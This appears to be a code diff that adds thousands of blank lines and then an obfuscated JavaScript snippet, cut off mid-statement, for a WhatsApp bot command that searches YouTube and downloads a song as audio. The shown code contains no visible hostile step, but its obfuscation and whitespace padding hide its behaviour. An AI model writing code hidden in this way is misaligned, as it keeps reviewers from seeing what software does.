+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+**/
+function _0x18e4(){const _0x15049e=['wich\x20song\x20do\x20you\x20want.','no\x20video\x20found.','pipe','_\x0a\x0a\x0a_*©Ibrahim\x20Adams*_\x0a\x0a','150LhYujY','timestamp','toFixed','stream','2433333reCvoU','join','title','327090aOlMls','search','680214miTVcN','thumbnail','url','Bmw\x20is\x20loading▰▰▰▰▱▱▱','../Ibrahim/adams','search\x20for\x20a\x20youtube\x20song','1667254OvUTuK','sendMessage','\x0aTime\x20:\x20','*BMW\x20MD\x20YOUTUBE\x20SEARCH*\x0a\x0aBmw\x20md\x20is\x20downloading\x20:\x20','song2','16oaLpCO','createWriteStream','Bmw\x20is\x20loading▰▰▰▰▱▱▱\x200ms','Search','yt-search','Erreur\x20lors\x20de\x20l\x27écriture\x20du\x20fichier:','toString','1364944QfwAkJ','(((.+)+)+)+$','Téléchargement\x20terminé\x20avec\x20succès\x20!','Bmw\x20is\x20loading▰▰▰▰▱▱▱\x20','apply','content-length','videos','audio.mp3','data','get','Taille\x20totale\x20du\x20fichier:','1VUadyO','length','20JIbNhz','constructor','headers','audio/mp4','finish','771276LDwsHS','key','\x0aYoutube\x20link\x20:\x20','error','axios','4815837diNDGi'];_0x18e4=function(){return _0x15049e;};return _0x18e4();}function _0xdb7f(_0x2ffe3b,_0x3a7f0b){const _0x18e4cf=_0x18e4();return _0xdb7f=function(_0xdb7fd3,_0x2c8c98){_0xdb7fd3=_0xdb7fd3-0x1bd;let _0x100fed=_0x18e4cf[_0xdb7fd3];return _0x100fed;},_0xdb7f(_0x2ffe3b,_0x3a7f0b);}const _0x3b2c97=_0xdb7f;(function(_0x29038b,_0x529222){const _0x188e89=_0xdb7f,_0x12bb86=_0x29038b();while(!![]){try{const _0x9693aa=-parseInt(_0x188e89(0x1ed))/0x1*(parseInt(_0x188e89(0x1d6))/0x2)+-parseInt(_0x188e89(0x1ce))/0x3+-parseInt(_0x188e89(0x1e2))/0x4*(-parseInt(_0x188e89(0x1ef))/0x5)+parseInt(_0x188e89(0x1d0))/0x6+-parseInt(_0x188e89(0x1cb))/0x7*(-parseInt(_0x188e89(0x1db))/0x8)+parseInt(_0x188e89(0x1c2))/0x9+-parseInt(_0x188e89(0x1c7))/0xa*(parseInt(_0x188e89(0x1bd))/0xb);if(_0x9693aa===_0x529222)break;else 